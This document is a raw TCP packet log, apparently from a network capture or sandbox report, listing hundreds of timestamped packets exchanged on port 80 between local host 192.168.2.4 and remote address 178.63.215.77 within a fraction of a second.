Oct 12, 2024 14:17:04.628911972 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.628946066 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.628977060 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.628998995 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.629008055 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.629031897 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.629060984 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.629065990 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.629091024 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.629098892 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.629121065 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.629147053 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.629245996 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.629307985 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.629354000 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.629385948 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.629415989 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.629417896 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.629441023 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.629450083 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.629461050 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.629506111 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.629529953 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.629579067 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.629591942 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.629614115 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.629638910 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.629646063 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.629668951 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.629678965 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.629694939 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.629710913 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.629733086 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.629746914 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.629762888 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.629811049 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.629981041 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.630029917 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.630042076 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.630079985 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.630084038 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.630110979 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.630137920 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.630143881 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.630167961 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.630175114 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.630203962 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.630208969 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.630218029 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.630243063 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.630270958 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.630278111 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.630292892 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.630326033 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.630671978 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.630703926 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.630734921 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.630752087 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.630757093 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.630789042 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.630814075 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.630835056 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.630836964 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.630868912 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.630901098 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.630907059 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.630907059 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.630932093 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.630945921 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.630964041 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.630985975 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.630995989 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.631020069 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.631028891 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.631061077 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.631063938 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.631083012 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.631093979 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.631124020 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.631143093 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.631529093 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.631580114 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.631592989 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.631613970 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.631642103 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.631645918 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.631661892 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.631678104 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.631700993 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.631726980 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.631728888 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.631759882 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.631783962 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.631792068 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.631817102 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.631824970 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.631850958 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.631856918 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.631880999 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.631890059 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.631902933 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.631922007 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.631937027 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.631956100 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.631980896 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.632004023 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.632503986 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.632551908 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.632565022 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.632585049 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.632606030 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.632617950 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.632641077 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.632667065 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.632668018 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.632698059 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.632728100 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.632730961 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.632747889 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.632761955 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.632777929 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.632797956 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.632823944 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.632828951 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.632853031 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.632859945 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.632888079 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.632891893 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.632916927 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.632927895 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.632951975 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.632968903 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.633375883 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.633408070 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.633441925 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.633457899 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.633460045 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.633490086 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.633517981 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.633522987 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.633537054 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.633560896 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.633584976 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.633608103 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.633629084 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.633639097 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.633670092 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.633671999 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.633687019 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.633702993 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.633727074 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.633734941 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.633744955 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.633766890 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.633789062 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.633799076 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.633825064 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.633857012 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.634311914 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.634344101 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.634377956 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.634373903 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.634404898 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.634423018 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.634428978 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.634459972 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.634486914 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.634493113 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.634504080 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.634525061 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.634550095 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.634557962 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.634586096 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.634589911 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.634603024 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.634624004 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.634649038 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.634654999 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.634666920 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.634686947 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.634711027 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.634737968 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.709454060 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.709503889 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.709542036 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.709646940 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.717730045 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.717765093 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.717798948 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.717806101 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.717827082 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.717833042 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.717845917 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.717866898 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.717883110 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.717916965 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.726694107 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.726764917 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.726797104 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.726847887 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.726855993 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.726898909 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.726902962 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.726929903 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.726957083 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.726963997 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.726974010 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.726995945 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.727016926 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.727030993 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.727056980 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.727073908 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.727081060 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.727129936 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.727129936 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.727161884 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.727184057 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.727194071 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.727197886 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.727226019 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.727248907 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.727277040 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.727279902 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.727308035 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.727330923 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.727339983 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.727363110 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.727382898 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.727415085 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.727448940 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.727477074 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.727482080 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.727497101 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.727514029 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.727531910 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.727546930 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.727574110 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.727581024 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.727591038 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.727612019 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.727637053 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.727643013 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.727657080 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.727674961 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.727700949 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.727705956 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.727729082 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.727737904 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.727746964 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.727771044 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.727793932 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.727802038 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.727824926 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.727835894 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.727850914 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.727866888 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.727884054 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.727968931 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.727997065 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.728001118 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.728013039 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.728051901 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.728055954 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.728085041 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.728107929 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.728117943 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.728126049 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.728151083 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.728166103 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.728183985 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.728199005 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.728236914 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.728241920 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.728270054 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.728297949 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.728302002 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.728312969 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.728334904 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.728358984 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.728379011 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.728383064 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.728432894 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.728441000 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.728463888 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.728487015 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.728499889 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.728507996 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.728532076 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.728558064 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.728564024 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.728576899 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.728595972 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.728620052 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.728627920 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.728657961 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.728662968 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.728682995 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.728691101 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.728705883 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.728722095 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.728734016 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.728754044 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.728774071 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.728785038 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.728790998 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.728816986 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.728827953 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.728847027 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.728873014 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.728878975 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.728892088 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.728912115 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.728938103 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.728955984 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.733833075 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.733881950 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.733895063 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.733917952 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.733943939 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.733946085 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.733963966 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.733992100 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.733997107 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.734049082 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.734055996 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.734093904 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.734117031 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.734127045 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.734138966 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.734158993 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.734184027 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.734190941 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.734203100 CEST	49730	80	192.168.2.4	178.63.215.77
